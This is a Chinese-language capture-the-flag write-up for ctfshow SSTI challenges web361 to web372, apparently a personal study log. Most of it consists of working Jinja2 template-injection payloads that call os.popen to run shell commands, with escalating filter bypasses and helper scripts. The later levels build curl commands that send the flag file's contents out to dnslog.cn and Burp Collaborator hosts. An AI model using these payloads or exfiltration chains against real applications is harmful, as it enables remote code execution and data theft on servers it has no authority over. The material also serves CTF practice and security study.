web361
hint:名字就是考点
好一个提示,原来指的是GET传参name……..
直接开试,存在ssti
Payload:
GET:
?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
大概解析一下每部分:
- 前提就是
{{ }}
的包裹,这里是python环境的jinja2模板(按模板调整这个)。''.__class__
:从空字符中取它的类,此处回显:<class 'str'>
,指的是内置的字符串类str
。__bases__[0]
:返回该对象继承的父类,这里[ ]
内是索引,因为在使用__bases__
时会返回它的所有直接继承的基类,此处回显(<class 'object'>,)
;同样的还有__mro__
方法,只不过这个方法会返回该对象的所有父类,此处回显(<class 'str'>, <class 'object'>)
,我们需要找的是object
类,故而使用索引来固定住这个类。当然也可以使用__base__
方法(注意这个没有s),他只会返回直接继承的基类(一个类),只返回一个就不需要加索引了,个人认为还是上面俩好用。__subclasses__()[132]
:获取当前类的所有子类,上面我们已经找到objec
类了,这里实则返回的是object
类中的所有子类,找到可以rce的子类(这里用的是os._wrap_close
类),这个索引对应的就是被利用的子类的索引,当然,所有子类列表非常长,不好找索引,拷打ai出了个方便找子类的脚本:# ssti_subclass_search.py def main(): # 输入所有子类(可以粘贴一大串) subclasses_str = input("请输入所有子类(用逗号分隔):\n") subclasses = [s.strip() for s in subclasses_str.split(',') if s.strip()] while True: keyword = input("请输入搜索关键字(输入 'exit' 退出):").strip() if keyword.lower() == 'exit': print("退出程序。") break found = False for idx, cls in enumerate(subclasses): if keyword.lower() in cls.lower(): print(f"索引: {idx} 子类: {cls}") found = True if not found: print("未找到匹配的子类。") if __name__ == "__main__": main()
__init__.globals['popen']
:取该类__init__
方法所在模块的全局变量字典,再从里边拿出popen
函数(用来执行shell命令的)。('cat /flag').read()}}
,( )
内内容是通过popen
函数执行的shell命令,最后通过read()
读取并打印出来。
web362
发现比较上题,数字被waf了,用其他方式绕过
Payload:
GET:
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}?name={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
相比于上题,这里直接用了内建的builtins模块(内建模块包含了所有内置函数和常量)
第一个payload中的
x
是一个变量,通常在模板中未定义。当 Jinja2 遇到未定义的变量时,会返回Undefined
对象。配合__init__
会返回一个可以访问全局命名空间的对象。第二个payload中的
lipsum
,就是一个直接获取全局命名空间的对象的函数。
web363
新增过滤了单双引号,可以用request.args.
引入,就不需要引号了,用上题payload打一打
Payload:
GET:
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
web364
新增过滤了args
,可以用request.values.
代替(二者用法几乎一致,values多了引入表单数据的用法,效果一致)
也可以用request.cookies.
代替,读取的是cookie中的数据
Payload:
GET:
?name={{x.__init__.__globals__[request.values.x1].eval(request.values.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
# 另解
GET:
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Headers:
Cookie: x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
web365
新增过滤了[ ]
,可以利用__getitem__
__getitem__()绕过[]过滤
__getitem__() 是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值:当对列表使用时,传入整数返回列表对应索引的值。
用法:
__getitem__(1)->[1]
Payload:
GET:
?name={{x.__init__.__globals__.__getitem__(request.values.x1).eval(request.values.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()
上面有方括号的Payload也可以此类推
web366
新增过滤了_
,可以利用jinja2内置的过滤器来绕过
jinja2官方文档:
""|attr("__class__")相当于"".__class__所以lipsum|attr(request.cookies.a)相当于lipsum.__globals__
推荐用个少点_
的payload
GET:
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag
->
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
web367
新增过滤了os,用get
配合request.values.
就可以让os外部输入进来。
Payload:
GET:
?name={{(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=cat /flag&b=__globals__&c=os
web368
新增过滤了{{ }}
,用{% %}
绕过,注意需要加print()
函数,因为{% %}
是会执行,但是返回内容直接到服务器后端,不会回显到用户浏览器这边,需要加print()
打印出来
Payload:
GET:
?name={%print(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()%}&a=cat /flag&b=__globals__&c=os
web369
request
被过滤得考虑构造字符串了
这里转换成列表,再用列表的pop方法就可以成功得到某个字符
脚本:
import requests
url="http://7afa142a-3745-4151-aca6-aacd9970d8a1.challenge.ctf.show/?name={{% print (config|string|list).pop({}).lower() %}}"
payload="__globals__"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url.format(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j.lower():
print("(config|string|list).pop(%d).lower() == %s"%(i,j))
result+="(config|string|list).pop(%d).lower()~"%(i)
break
print(result[:len(result)-1])
Payload:
#目标payload
{% print(lipsum.__globals__.os.popen('cat /flag').read()) %}
# 因为前面的过滤仍然存在,高亮处都是需要绕过的
->
GET:
?name={% print(lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
其他payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
{% set po=dict(po=a,p=a)|join%}
dict(o=oo, s=ss)
: 创建一个字典,其中键是o
和s
,值分别是变量oo
和ss
的值。|join
: 将字典的键连接成一个字符串。默认情况下,join
函数使用空字符串作为分隔符。相当于是赋值再连接起来.
?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
这样就相当于:lipsum.__globals__['__builtins__'].open('/flag').read()
web370
可以用全角数字代替半角数字
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
Payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
貌似unicode字符也可以代替(需要环境有对应依赖)
٠١٢٣٤٥٦٧٨٩
𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡
𝟶𝟷𝟸𝟹𝟺𝟻𝟼𝟽𝟾
𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵
还有一种方法就是,利用length
或者count
来得到数字
{% set one=(dict(a=a)|join|length)%}
=> one = 1
{% set two=(dict(aa=a))|join|length)%}
=> one = 2
# count直接换length就行
可以尝试外带,利用length
来构造
{% set z=dict()|length %}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,c,point,ccccccccc,cccc,point,cccccc,z,point,cc,ccc,ccccccc,maohao,cc,ccc,ccc,ccc,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}
web371
无回显,可以尝试外带,利用全角字符
参考链接:https://na0h.cn/ctf/ctfshow/ctfshow-ssti#371-%E8%BF%87%E6%BB%A4print
?name=
{% set xh=(config|string|list).pop(𝟳𝟰) %}
{% set kg=(()|select|string|list).pop(𝟭𝟬) %}
{% set point=(config|string|list).pop(𝟭𝟵𝟭) %}
{% set mh=(config|string|list).pop(𝟭𝟰) %}
{% set xg=(config|string|list).pop(-𝟲𝟰) %}
{% set glob=(xh,xh,dict(globals=a)|join,xh,xh)|join() %}
{% set fxg=((lipsum|attr(glob))|string|list).pop(𝟲𝟰𝟯) %}
{% set geti=(xh,xh,dict(getitem=a)|join,xh,xh)|join() %}
{% set ox=dict(o=z,s=z)|join %}
{% set payload=(dict(curl=a)|join,kg,fxg,dict(cat=a)|join,kg,xg,dict(flag=a)|join,fxg,point,dict(aorcwf=a)|join,point,dict(dnslog=a)|join,point,dict(cn=a)|join)|join %}
{%if ((lipsum|attr(glob))|attr(geti)(ox)).popen(payload)%}na𝟬h{%endif%}
高亮处修改成dnslog得到的link即可
此处命令:
curl `cat /flag`.gdfewr.
dnslog.cn
也可以用bp的collaborator功能
?name={% set xh=(config|string|list).pop(𝟳𝟰) %}
{% set kg=(()|select|string|list).pop(𝟭𝟬) %}
{% set point=(config|string|list).pop(𝟭𝟵𝟭) %}
{% set mh=(config|string|list).pop(𝟭𝟰) %}
{% set xg=(config|string|list).pop(-𝟲𝟰) %}
{% set glob=(xh,xh,dict(globals=a)|join,xh,xh)|join() %}
{% set fxg=((lipsum|attr(glob))|string|list).pop(𝟲𝟰𝟯) %}
{% set geti=(xh,xh,dict(getitem=a)|join,xh,xh)|join() %}
{% set ox=dict(o=z,s=z)|join %}
{% set payload=(dict(curl=a)|join,kg,fxg,dict(cat=a)|join,kg,xg,dict(flag=a)|join,fxg,point,dict(rtodf6skoxsn0fd2ft85m8q5vw1npfd4=a)|join,point,dict(oastify=a)|join,point,dict(com=a)|join)|join %}
{%if ((lipsum|attr(glob))|attr(geti)(ox)).popen(payload)%}na𝟬h{%endif%}
注意数字换成全角即可
web372
一直用的都是length
,上题打法继续即可:)
Payload:
?name=
{% set xh=(config|string|list).pop(𝟳𝟰) %}
{% set kg=(()|select|string|list).pop(𝟭𝟬) %}
{% set point=(config|string|list).pop(𝟭𝟵𝟭) %}
{% set mh=(config|string|list).pop(𝟭𝟰) %}
{% set xg=(config|string|list).pop(-𝟲𝟰) %}
{% set glob=(xh,xh,dict(globals=a)|join,xh,xh)|join() %}
{% set fxg=((lipsum|attr(glob))|string|list).pop(𝟲𝟰𝟯) %}
{% set geti=(xh,xh,dict(getitem=a)|join,xh,xh)|join() %}
{% set ox=dict(o=z,s=z)|join %}
{% set payload=(dict(curl=a)|join,kg,fxg,dict(cat=a)|join,kg,xg,dict(flag=a)|join,fxg,point,dict(kipisa=a)|join,point,dict(dnslog=a)|join,point,dict(cn=a)|join)|join %}
{%if ((lipsum|attr(glob))|attr(geti)(ox)).popen(payload)%}na𝟬h{%endif%}